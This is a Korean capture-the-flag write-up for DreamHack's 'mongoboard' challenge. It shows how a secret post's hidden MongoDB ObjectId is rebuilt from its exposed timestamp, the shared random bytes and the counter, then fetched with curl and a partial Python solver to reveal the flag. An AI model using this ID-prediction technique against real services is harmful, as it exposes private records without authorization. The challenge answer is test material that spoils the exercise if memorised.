[🥉 Bronze 3] 숨긴 _id를 ObjectId 예측으로 복원해 비밀글 읽기 — DreamHack mongoboard 풀이

// 목록 — 비밀글은 _id 를 null 로, 본문(body)은 모두에게 비공개
app.get('/api/board', function(req, res){
    MongoBoard.find(function(err, board){
        res.json(board.map(data => {
            return {
                _id: data.secret ? null : data._id,   // ← secret 이면 _id 가림
                title: data.title,
                author: data.author,
                secret: data.secret,
                publish_date: data.publish_date        // ← 생성 시각은 그대로 노출
            }
        }));
    })
});
 
// 단건 — _id 로 찾아서 전체 문서(body 포함) 반환
app.get('/api/board/:board_id', function(req, res){
    MongoBoard.findOne({_id: req.params.board_id}, function(err, board){
        if(!board) return res.status(404).json({error: 'board not found'});
        res.json(board);                                // ← body 까지 통째로
    })
});

[
  {"_id":"6a212da1994a55ffc2d33634","title":"Hello","author":"guest","secret":false,"publish_date":"2026-06-04T07:47:45.418Z"},
  {"_id":"6a212da3994a55ffc2d33635","title":"Mongo","author":"guest","secret":false,"publish_date":"2026-06-04T07:47:47.427Z"},
  {"_id":null,                      "title":"FLAG", "author":"admin","secret":true, "publish_date":"2026-06-04T07:47:51.429Z"},
  {"_id":"6a212dac994a55ffc2d33637","title":"Good",

Hello  6a212da1 994a55ffc2 d33634     (07:47:45, counter 34)
Mongo  6a212da3 994a55ffc2 d33635     (07:47:47, counter 35)
FLAG   ????????  ?????????? ??????     (07:47:51, _id 숨김)
Good   6a212dac 994a55ffc2 d33637     (07:47:56, counter 37)

6a212da7  +  994a55ffc2  +  d33636   →   6a212da7994a55ffc2d33636
 (시각)        (랜덤)        (카운터)

curl -s http://<host>:<port>/api/board/6a212da7994a55ffc2d33636

{
  "secret": true,
  "_id": "6a212da7994a55ffc2d33636",
  "title": "FLAG",
  "body": "DH{f823bac286ef352172b1cd73c812708ea356a000}",
  "author": "admin",
  "publish_date": "2026-06-04T07:47:51.429Z"
}

#!/usr/bin/python3
# mongoboard 솔버 — secret 글의 _id를 ObjectId 구조로 예측해 본문(FLAG)을 읽는다.
#
# ObjectId(12B) = [4B 생성시각][5B 프로세스 랜덤][3B 증가 카운터]
#   - 랜덤 5B : 같은 시드 프로세스가 만든 글끼리 동일
#   - 카운터  : insert 순서대로 +1 씩 증가
import sys
import datetime
import requests
 
BASE = (sys.argv[1] if len(sys.argv) > 1 else "http://host8.dreamhack.games:15742").rstrip("/")
s = requests.Session()
 
board = s.get(f"{BASE}/api/board", timeout=10).json()
visible = [p for p in board if p.get(

$ python3 solve.py http://host8.dreamhack.games:15742
[*] 공유 랜덤 5B : 994a55ffc2
[*] 보이는 카운터: ['0xd33634', '0xd33635', '0xd33637']
 
[*] secret 'FLAG' publish_date=2026-06-04T07:47:51.429Z -> ts=0x6a212da7
[+] HIT _id=6a212da7994a55ffc2d33636
[+] title : FLAG
[FLAG] DH{f823bac286ef352172b1cd73c812708ea356a000}

DH{f823bac286ef352172b1cd73c812708ea356a000}